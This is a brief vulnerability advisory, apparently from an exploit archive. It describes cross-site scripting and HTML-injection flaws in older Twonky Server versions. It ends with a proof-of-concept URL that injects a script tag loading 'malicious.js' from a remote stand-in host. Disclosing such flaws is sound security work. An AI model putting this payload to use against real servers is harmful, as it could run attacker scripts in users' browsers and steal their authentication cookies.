source:  https://www.securityfocus.com/bid/41929/info

Twonky Server is prone to a cross-site scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code could run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Versions prior to Twonky Server 4.4.18, 5.0.66, and 5.1 are vulnerable. 

http://www.example.com/twonky:9000/fake_config_page<script type="text/javascript"src="http://www.example.com//malicious.js"; ></script>